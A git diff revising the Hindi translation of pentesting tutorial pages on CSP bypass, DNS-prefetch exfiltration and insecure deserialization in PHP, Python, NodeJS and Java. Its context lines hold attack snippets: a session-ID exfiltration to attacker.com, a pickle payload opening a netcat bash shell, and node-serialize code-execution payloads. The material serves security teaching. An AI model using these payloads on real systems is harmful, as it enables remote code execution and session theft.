[**इस लेख**](https://blog.ssrf.kr/69) से ऐसा लगता है कि CSP सुरक्षा को बायपास करना संभव था एक त्रुटि पृष्ठ (संभावित रूप से CSP के बिना) को लोड करके और इसकी सामग्री को फिर से लिखकर।
|
||||
[**इस लेखन**](https://blog.ssrf.kr/69) से ऐसा लगता है कि एक त्रुटि पृष्ठ (संभावित रूप से CSP के बिना) लोड करके और इसकी सामग्री को फिर से लिखकर CSP सुरक्षा को बायपास करना संभव था।
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -649,8 +649,8 @@ document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को IP पते में पूर्व-हल करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।\
|
||||
आप एक ब्राउज़र को एक होस्टनाम को पूर्व-हल करने के लिए संकेत दे सकते हैं: `<link rel="dns-prefetch" href="something.com">`
|
||||
पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को आईपी पते में पूर्व-समाधान करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।\
|
||||
आप एक ब्राउज़र को एक होस्टनाम को पूर्व-समाधान करने के लिए संकेत दे सकते हैं: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
आप इस व्यवहार का दुरुपयोग करके **DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को एक्सफिल्ट्रेट** कर सकते हैं:
|
||||
```javascript
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Serialization** को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को संग्रहीत करना है या इसे संचार प्रक्रिया के एक भाग के रूप में प्रसारित करना है। यह तकनीक आमतौर पर यह सुनिश्चित करने के लिए उपयोग की जाती है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।
|
||||
**Serialization** को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को स्टोर करना है या इसे संचार प्रक्रिया के हिस्से के रूप में प्रसारित करना है। यह तकनीक आमतौर पर यह सुनिश्चित करने के लिए उपयोग की जाती है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।
|
||||
|
||||
**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है जिसे एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।
|
||||
**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें एक विशेष प्रारूप में संरचित डेटा को लेकर उसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।
|
||||
|
||||
Deserialization खतरनाक हो सकता है क्योंकि यह संभावित रूप से **हमलावरों को अनुक्रमित डेटा में हेरफेर करने की अनुमति देता है ताकि हानिकारक कोड निष्पादित किया जा सके** या ऑब्जेक्ट पुनर्निर्माण प्रक्रिया के दौरान एप्लिकेशन में अप्रत्याशित व्यवहार उत्पन्न कर सके।
|
||||
|
||||
@ -14,7 +14,7 @@ Deserialization खतरनाक हो सकता है क्योंक
|
||||
|
||||
PHP में, serialization और deserialization प्रक्रियाओं के दौरान विशिष्ट जादुई विधियों का उपयोग किया जाता है:
|
||||
|
||||
- `__sleep`: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी गुणों के नामों का एक एरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्य उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।
|
||||
- `__sleep`: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी प्रॉपर्टीज के नामों का एक एरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्य उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।
|
||||
- `__wakeup`: जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है, तब इसे बुलाया जाता है। इसका उपयोग उन किसी भी डेटाबेस कनेक्शनों को फिर से स्थापित करने के लिए किया जाता है जो serialization के दौरान खो गए हो सकते हैं और अन्य पुनः आरंभ कार्य करने के लिए।
|
||||
- `__unserialize`: यह विधि `__wakeup` के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह `__wakeup` की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण प्रदान करती है।
|
||||
- `__destruct`: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्य उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।
|
||||
@ -77,7 +77,7 @@ This is a test<br />
|
||||
यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन **`__wakeup`** और **`__destruct`** तब कॉल किए जाते हैं जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आप पाएंगे कि **`__toString`** फ़ंक्शन तब कॉल किया जाता है जब किसी विशेषता को प्रिंट करने की कोशिश की जाती है, लेकिन स्पष्ट रूप से यह **अब नहीं हो रहा है**।
|
||||
|
||||
> [!WARNING]
|
||||
> यदि इसे क्लास में लागू किया गया है तो **`__unserialize(array $data)`** विधि **`__wakeup()`** के बजाय कॉल की जाती है। यह आपको ऑब्जेक्ट को डीसिरियलाइज़ करने की अनुमति देती है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस विधि का उपयोग प्रॉपर्टीज को डीसिरियलाइज़ करने और डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।
|
||||
> यदि इसे क्लास में लागू किया गया है तो **`__unserialize(array $data)`** मेथड **`__wakeup()`** के बजाय कॉल किया जाता है। यह आपको ऑब्जेक्ट को डीसिरियलाइज़ करने की अनुमति देता है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस मेथड का उपयोग प्रॉपर्टीज को डीसिरियलाइज़ करने और डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md
|
||||
|
||||
### संदर्भित मानों को सीरियलाइज़ करना
|
||||
|
||||
यदि किसी कारणवश आप किसी मान को **दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में** सीरियलाइज़ करना चाहते हैं, तो आप कर सकते हैं:
|
||||
यदि किसी कारणवश आप किसी मान को **दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में** सीरियलाइज़ करना चाहते हैं तो आप कर सकते हैं:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
@ -118,12 +118,12 @@ $ser=serialize($o);
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) आपको PHP deserializations का दुरुपयोग करने के लिए payloads उत्पन्न करने में मदद कर सकता है।\
|
||||
ध्यान दें कि कई मामलों में आप **ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे** लेकिन आप **बाहरी PHP एक्सटेंशनों के कोड का दुरुपयोग कर सकते हैं।**\
|
||||
तो, यदि आप कर सकते हैं, तो सर्वर का `phpinfo()` जांचें और **इंटरनेट पर खोजें** (यहां तक कि **PHPGGC** के **gadgets** पर) कुछ संभावित gadgets जिन्हें आप दुरुपयोग कर सकते हैं।
|
||||
ध्यान दें कि कई मामलों में आप **source code** में deserialization का दुरुपयोग करने का कोई तरीका नहीं पा सकेंगे, लेकिन आप **external PHP extensions के कोड का दुरुपयोग कर सकते हैं।**\
|
||||
तो, यदि आप कर सकते हैं, तो सर्वर का `phpinfo()` जांचें और **internet पर खोजें** (यहां तक कि **PHPGGC के gadgets** पर) कुछ संभावित gadgets जिन्हें आप दुरुपयोग कर सकते हैं।
|
||||
|
||||
### phar:// metadata deserialization
|
||||
|
||||
यदि आपने एक LFI पाया है जो केवल फ़ाइल को पढ़ रहा है और इसके अंदर के php कोड को निष्पादित नहीं कर रहा है, उदाहरण के लिए _**file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()**_**।** आप **phar** प्रोटोकॉल का उपयोग करके **फ़ाइल** पढ़ते समय होने वाली **deserialization** का दुरुपयोग करने का प्रयास कर सकते हैं।\
|
||||
यदि आपने एक LFI पाया है जो केवल फ़ाइल को पढ़ रहा है और इसके अंदर के php कोड को निष्पादित नहीं कर रहा है, उदाहरण के लिए _**file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()**_** का उपयोग करके।** आप **phar** प्रोटोकॉल का उपयोग करके **file** पढ़ते समय होने वाली **deserialization** का दुरुपयोग करने की कोशिश कर सकते हैं।\
|
||||
अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:
|
||||
|
||||
{{#ref}}
|
||||
@ -134,7 +134,7 @@ $ser=serialize($o);
|
||||
|
||||
### **Pickle**
|
||||
|
||||
जब ऑब्जेक्ट को unpickle किया जाता है, तो फ़ंक्शन \_\_\_reduce\_\_\_ निष्पादित होगा।\
|
||||
जब ऑब्जेक्ट unpickle होता है, तो फ़ंक्शन \_\_\_reduce\_\_\_ निष्पादित होगा।\
|
||||
जब इसका दुरुपयोग किया जाता है, तो सर्वर एक त्रुटि वापस कर सकता है।
|
||||
```python
|
||||
import pickle, os, base64
|
||||
@ -143,23 +143,23 @@ def __reduce__(self):
|
||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
बायपास तकनीक की जांच करने से पहले, यदि आप python3 चला रहे हैं तो `print(base64.b64encode(pickle.dumps(P(),2)))` का उपयोग करके एक ऐसा ऑब्जेक्ट उत्पन्न करने का प्रयास करें जो python2 के साथ संगत हो।
|
||||
बायपास तकनीक की जांच करने से पहले, यदि आप python3 चला रहे हैं तो `print(base64.b64encode(pickle.dumps(P(),2)))` का उपयोग करके एक ऑब्जेक्ट उत्पन्न करने का प्रयास करें जो python2 के साथ संगत हो।
|
||||
|
||||
**पिक्ल जेलों** से बचने के बारे में अधिक जानकारी के लिए देखें:
|
||||
**pickle jails** से बचने के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
{{#endref}}
|
||||
|
||||
### यामल **&** jsonpickle
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
निम्नलिखित पृष्ठ **यामल** python पुस्तकालयों में **असुरक्षित डेसिरियलाइजेशन का दुरुपयोग करने** की तकनीक प्रस्तुत करता है और **पिक्ल, PyYAML, jsonpickle और ruamel.yaml** के लिए RCE डेसिरियलाइजेशन पेलोड उत्पन्न करने के लिए एक उपकरण के साथ समाप्त होता है:
|
||||
निम्नलिखित पृष्ठ **yamls** python पुस्तकालयों में **असुरक्षित deserialization का दुरुपयोग करने** की तकनीक प्रस्तुत करता है और **Pickle, PyYAML, jsonpickle और ruamel.yaml** के लिए RCE deserialization payload उत्पन्न करने के लिए एक उपकरण के साथ समाप्त होता है:
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### क्लास प्रदूषण (Python प्रोटोटाइप प्रदूषण)
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||||
@ -167,12 +167,12 @@ python-yaml-deserialization.md
|
||||
|
||||
## NodeJS
|
||||
|
||||
### JS जादुई फ़ंक्शन
|
||||
### JS Magic Functions
|
||||
|
||||
JS **"जादुई" फ़ंक्शन** नहीं रखता है जैसे PHP या Python जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होंगे। लेकिन इसमें कुछ **फ़ंक्शन** हैं जो **प्रत्यक्ष रूप से कॉल किए बिना भी अक्सर उपयोग किए जाते हैं** जैसे **`toString`**, **`valueOf`**, **`toJSON`**।\
|
||||
यदि आप एक डेसिरियलाइजेशन का दुरुपयोग करते हैं तो आप **इन फ़ंक्शनों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं** (संभावित रूप से प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) आप जब इन्हें कॉल करते हैं तो मनमाना कोड निष्पादित कर सकते हैं।
|
||||
JS **"जादुई" कार्य** नहीं रखता जैसे PHP या Python जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होंगे। लेकिन इसमें कुछ **कार्य** हैं जो **प्रत्यक्ष रूप से कॉल किए बिना भी अक्सर उपयोग किए जाते हैं** जैसे **`toString`**, **`valueOf`**, **`toJSON`**।\
|
||||
यदि आप deserialization का दुरुपयोग करते हैं तो आप **इन कार्यों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं** (संभावित रूप से प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) जब इन्हें कॉल किया जाता है तो आप मनमाना कोड निष्पादित कर सकते हैं।
|
||||
|
||||
एक और **"जादुई" तरीका एक फ़ंक्शन को कॉल करने का** बिना इसे सीधे कॉल किए **एक ऑब्जेक्ट को समझौता करना है जो एक async फ़ंक्शन** (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस **रिटर्न ऑब्जेक्ट** को एक अन्य **प्रॉमिस** में **"then" नामक फ़ंक्शन प्रकार की प्रॉपर्टी** के साथ **परिवर्तित** करते हैं, तो यह **निष्पादित** होगा बस इसलिए कि यह एक अन्य प्रॉमिस द्वारा लौटाया गया है। _अधिक जानकारी के लिए_ [_**इस लिंक**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _का पालन करें._
|
||||
एक और **"जादुई" तरीका एक कार्य को कॉल करने का** बिना इसे सीधे कॉल किए **एक ऑब्जेक्ट को समझौता करना है जो एक async कार्य** (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस **रिटर्न ऑब्जेक्ट** को एक अन्य **प्रॉमिस** में **"then" नामक कार्य प्रकार की **प्रॉपर्टी** के साथ **परिवर्तित** करते हैं, तो यह केवल इसलिए **निष्पादित** होगा क्योंकि इसे एक अन्य प्रॉमिस द्वारा लौटाया गया है। _अधिक जानकारी के लिए_ [_**इस लिंक**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _का पालन करें._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -198,7 +198,7 @@ test_then()
|
||||
```
|
||||
### `__proto__` और `prototype` प्रदूषण
|
||||
|
||||
यदि आप इस तकनीक के बारे में जानना चाहते हैं **तो निम्नलिखित ट्यूटोरियल पर एक नज़र डालें**:
|
||||
यदि आप इस तकनीक के बारे में जानना चाहते हैं **तो निम्नलिखित ट्यूटोरियल पर नज़र डालें**:
|
||||
|
||||
{{#ref}}
|
||||
nodejs-proto-prototype-pollution/
|
||||
@ -219,7 +219,7 @@ var serialize = require("node-serialize")
|
||||
var payload_serialized = serialize.serialize(y)
|
||||
console.log("Serialized: \n" + payload_serialized)
|
||||
```
|
||||
**सिरियलाइज्ड ऑब्जेक्ट** इस तरह दिखेगा:
|
||||
**सीरियलाइज्ड ऑब्जेक्ट** इस तरह दिखेगा:
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
@ -235,7 +235,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
|
||||
हालांकि, **सिर्फ फ़ंक्शन को सीरियलाइज़ करना** **इसे निष्पादित नहीं करेगा** क्योंकि यह आवश्यक होगा कि कोड का कुछ भाग **`y.rce` को कॉल कर रहा हो** हमारे उदाहरण में और यह अत्यधिक **असंभव** है।\
|
||||
वैसे, आप बस **सीरियलाइज़ किए गए ऑब्जेक्ट को संशोधित कर सकते हैं** **कुछ कोष्ठकों को जोड़कर** ताकि जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाए तो सीरियलाइज़ किया गया फ़ंक्शन स्वचालित रूप से निष्पादित हो जाए।\
|
||||
अगले कोड के टुकड़े में **अंतिम कोष्ठक** पर ध्यान दें और कैसे `unserialize` फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:
|
||||
अगले कोड के टुकड़े में **अंतिम कोष्ठक पर ध्यान दें** और कैसे `unserialize` फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test = {
|
||||
@ -243,20 +243,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
जैसा कि पहले संकेत दिया गया था, यह पुस्तक `_$$ND_FUNC$$_` के बाद कोड प्राप्त करेगी और इसे `eval` का उपयोग करके **निष्पादित** करेगी। इसलिए, **कोड को स्वचालित रूप से निष्पादित** करने के लिए आप **कार्य निर्माण** भाग और अंतिम कोष्ठक को **हटा सकते हैं** और **बस एक JS एकल पंक्ति निष्पादित** कर सकते हैं जैसे कि निम्नलिखित उदाहरण में:
|
||||
जैसा कि पहले संकेत दिया गया था, यह पुस्तकालय `_$$ND_FUNC$$_` के बाद कोड प्राप्त करेगा और इसे `eval` का उपयोग करके **निष्पादित करेगा**। इसलिए, **कोड को स्वचालित रूप से निष्पादित** करने के लिए आप **कार्य निर्माण** भाग और अंतिम कोष्ठक को **हटा सकते हैं** और **बस एक JS एकल रेखा निष्पादित कर सकते हैं** जैसे कि निम्नलिखित उदाहरण में:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
आप [**यहां खोज सकते हैं**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **इस कमजोरियों का शोषण करने के बारे में अधिक जानकारी**।
|
||||
आप [**यहां**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **अधिक जानकारी** प्राप्त कर सकते हैं कि इस कमजोरियों का लाभ कैसे उठाया जाए।
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
**funcster** का एक महत्वपूर्ण पहलू **मानक अंतर्निहित वस्तुओं** की अनुपलब्धता है; ये सुलभ दायरे से बाहर हैं। यह प्रतिबंध उन कोडों के निष्पादन को रोकता है जो अंतर्निहित वस्तुओं पर विधियों को कॉल करने का प्रयास करते हैं, जिससे `"ReferenceError: console is not defined"` जैसी अपवाद उत्पन्न होते हैं जब `console.log()` या `require(something)` जैसे कमांड का उपयोग किया जाता है।
|
||||
|
||||
इस सीमा के बावजूद, सभी मानक अंतर्निहित वस्तुओं सहित वैश्विक संदर्भ तक पूर्ण पहुंच को पुनर्स्थापित करना एक विशिष्ट दृष्टिकोण के माध्यम से संभव है। वैश्विक संदर्भ का सीधे उपयोग करके, कोई इस प्रतिबंध को बायपास कर सकता है। उदाहरण के लिए, निम्नलिखित स्निपेट का उपयोग करके पहुंच को फिर से स्थापित किया जा सकता है:
|
||||
इस सीमा के बावजूद, सभी मानक अंतर्निहित वस्तुओं सहित वैश्विक संदर्भ तक पूर्ण पहुंच को पुनर्स्थापित करना एक विशिष्ट दृष्टिकोण के माध्यम से संभव है। वैश्विक संदर्भ का सीधे लाभ उठाकर, इस प्रतिबंध को बायपास किया जा सकता है। उदाहरण के लिए, निम्नलिखित स्निपेट का उपयोग करके पहुंच को फिर से स्थापित किया जा सकता है:
|
||||
```javascript
|
||||
funcster = require("funcster")
|
||||
//Serialization
|
||||
@ -339,52 +339,52 @@ Java में, **deserialization callbacks deserialization की प्रक
|
||||
|
||||
- हेक्साडेसिमल पैटर्न: `AC ED 00 05`।
|
||||
- बेस64 पैटर्न: `rO0`।
|
||||
- HTTP प्रतिक्रिया हेडर जिसमें `Content-type` `application/x-java-serialized-object` पर सेट है।
|
||||
- HTTP प्रतिक्रिया हेडर जिनमें `Content-type` `application/x-java-serialized-object` पर सेट है।
|
||||
- पूर्व संकुचन को दर्शाने वाला हेक्साडेसिमल पैटर्न: `1F 8B 08 00`।
|
||||
- पूर्व संकुचन को दर्शाने वाला बेस64 पैटर्न: `H4sIA`।
|
||||
- `.faces` एक्सटेंशन वाले वेब फ़ाइलें और `faces.ViewState` पैरामीटर। इन पैटर्नों की खोज एक वेब एप्लिकेशन में एक परीक्षा का संकेत देती है जैसा कि [Java JSF ViewState Deserialization के बारे में पोस्ट](java-jsf-viewstate-.faces-deserialization.md) में विस्तृत किया गया है।
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### कमजोरियों की जांच करें
|
||||
### Check if vulnerable
|
||||
|
||||
यदि आप **जानना चाहते हैं कि Java Deserialized exploit कैसे काम करता है** तो आपको [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), और [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) पर एक नज़र डालनी चाहिए।
|
||||
If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### व्हाइट बॉक्स परीक्षण
|
||||
#### White Box Test
|
||||
|
||||
आप यह जांच सकते हैं कि क्या कोई ऐसा एप्लिकेशन स्थापित है जिसमें ज्ञात कमजोरियाँ हैं।
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
आप सभी **लाइब्रेरीज़** की जांच करने की कोशिश कर सकते हैं जो ज्ञात हैं कि वे कमजोर हैं और [**Ysoserial** ](https://github.com/frohoff/ysoserial) इसके लिए एक एक्सप्लॉइट प्रदान कर सकता है। या आप [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) पर निर्दिष्ट लाइब्रेरीज़ की जांच कर सकते हैं।\
|
||||
आप संभावित गेज़ेट चेन की खोज के लिए [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) का भी उपयोग कर सकते हैं।\
|
||||
**gadgetinspector** चलाते समय (इसे बनाने के बाद) उन सभी चेतावनियों/त्रुटियों की परवाह न करें जिनसे यह गुजर रहा है और इसे पूरा करने दें। यह सभी निष्कर्ष _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ के तहत लिखेगा। कृपया ध्यान दें कि **gadgetinspector एक एक्सप्लॉइट नहीं बनाएगा और यह झूठे सकारात्मक संकेत दे सकता है**।
|
||||
आप सभी **लाइब्रेरीज़** की जांच करने की कोशिश कर सकते हैं जो ज्ञात हैं कि वे कमजोर हैं और जो [**Ysoserial** ](https://github.com/frohoff/ysoserial) एक एक्सप्लॉइट प्रदान कर सकता है। या आप [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) पर निर्दिष्ट लाइब्रेरीज़ की जांच कर सकते हैं।\
|
||||
आप संभावित गैजेट चेन की खोज के लिए [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) का भी उपयोग कर सकते हैं।\
|
||||
जब आप **gadgetinspector** चला रहे हों (इसे बनाने के बाद) तो इसके द्वारा उत्पन्न होने वाले सैकड़ों चेतावनियों/त्रुटियों की परवाह न करें और इसे पूरा करने दें। यह सभी निष्कर्ष _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ के तहत लिखेगा। कृपया ध्यान दें कि **gadgetinspector एक एक्सप्लॉइट नहीं बनाएगा और यह झूठे सकारात्मक संकेत दे सकता है**।
|
||||
|
||||
#### ब्लैक बॉक्स टेस्ट
|
||||
|
||||
Burp एक्सटेंशन [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) का उपयोग करके आप **कौन सी लाइब्रेरीज़ उपलब्ध हैं** (और यहां तक कि संस्करण भी) पहचान सकते हैं। इस जानकारी के साथ, **कमजोरी का शोषण करने के लिए एक पेलोड चुनना आसान हो सकता है**।\
|
||||
[**GadgetProbe के बारे में अधिक जानने के लिए इसे पढ़ें**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**।**\
|
||||
[**GadgetProbe के बारे में अधिक जानने के लिए इसे पढ़ें**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe **`ObjectInputStream` deserializations** पर केंद्रित है।
|
||||
|
||||
Burp एक्सटेंशन [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) का उपयोग करके आप **कमजोर लाइब्रेरीज़** की पहचान कर सकते हैं जिन्हें ysoserial के साथ शोषित किया जा सकता है और **उनका शोषण** कर सकते हैं।\
|
||||
Burp एक्सटेंशन [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) का उपयोग करके आप **ysoserial के साथ शोषण योग्य कमजोर लाइब्रेरीज़** की पहचान कर सकते हैं और **उनका शोषण** कर सकते हैं।\
|
||||
[**Java Deserialization Scanner के बारे में अधिक जानने के लिए इसे पढ़ें।**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner **`ObjectInputStream`** deserializations पर केंद्रित है।
|
||||
|
||||
आप [**Freddy**](https://github.com/nccgroup/freddy) का भी उपयोग कर सकते हैं **Burp** में **deserializations** कमजोरियों का पता लगाने के लिए। यह प्लगइन **केवल `ObjectInputStream`** से संबंधित कमजोरियों का पता नहीं लगाएगा बल्कि **Json** और **Yml** deserialization लाइब्रेरीज़ से भी कमजोरियों का पता लगाएगा। सक्रिय मोड में, यह नींद या DNS पेलोड का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा।\
|
||||
आप **Burp** में **deserializations** कमजोरियों का पता लगाने के लिए [**Freddy**](https://github.com/nccgroup/freddy) का भी उपयोग कर सकते हैं। यह प्लगइन **केवल `ObjectInputStream`** से संबंधित कमजोरियों का पता नहीं लगाएगा बल्कि **Json** और **Yml** deserialization लाइब्रेरीज़ से भी कमजोरियों का पता लगाएगा। सक्रिय मोड में, यह नींद या DNS पेलोड का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा।\
|
||||
[**आप यहां Freddy के बारे में अधिक जानकारी प्राप्त कर सकते हैं।**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Serialization टेस्ट**
|
||||
|
||||
सिर्फ यह जांचना ही नहीं है कि क्या सर्वर द्वारा कोई कमजोर लाइब्रेरी का उपयोग किया गया है। कभी-कभी आप **serialized object के अंदर डेटा को बदलने और कुछ जांचों को बायपास करने में सक्षम हो सकते हैं** (शायद आपको एक वेब ऐप के अंदर प्रशासनिक विशेषाधिकार प्रदान करें)।\
|
||||
यदि आप एक जावा serialized object पाते हैं जो एक वेब एप्लिकेशन को भेजा जा रहा है, तो **आप उपयोग कर सकते हैं** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **जिससे भेजे गए serialization object को अधिक मानव-पठनीय प्रारूप में प्रिंट किया जा सके**। यह जानना कि आप कौन सा डेटा भेज रहे हैं, इसे संशोधित करना और कुछ जांचों को बायपास करना आसान होगा।
|
||||
सिर्फ यह जांचना ही नहीं है कि क्या सर्वर द्वारा कोई कमजोर लाइब्रेरी का उपयोग किया जा रहा है। कभी-कभी आप **serialized ऑब्जेक्ट के अंदर डेटा को बदलने और कुछ जांचों को बायपास करने में सक्षम हो सकते हैं** (शायद आपको एक वेब ऐप के अंदर प्रशासनिक विशेषाधिकार प्रदान करें)।\
|
||||
यदि आप एक जावा serialized ऑब्जेक्ट पाते हैं जो एक वेब एप्लिकेशन को भेजा जा रहा है, तो **आप उपयोग कर सकते हैं** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **जिससे आप भेजे गए serialization ऑब्जेक्ट को अधिक मानव-पठनीय प्रारूप में प्रिंट कर सकते हैं**। यह जानना कि आप कौन सा डेटा भेज रहे हैं, इसे संशोधित करना और कुछ जांचों को बायपास करना आसान होगा।
|
||||
|
||||
### **Exploitation**
|
||||
### **शोषण**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
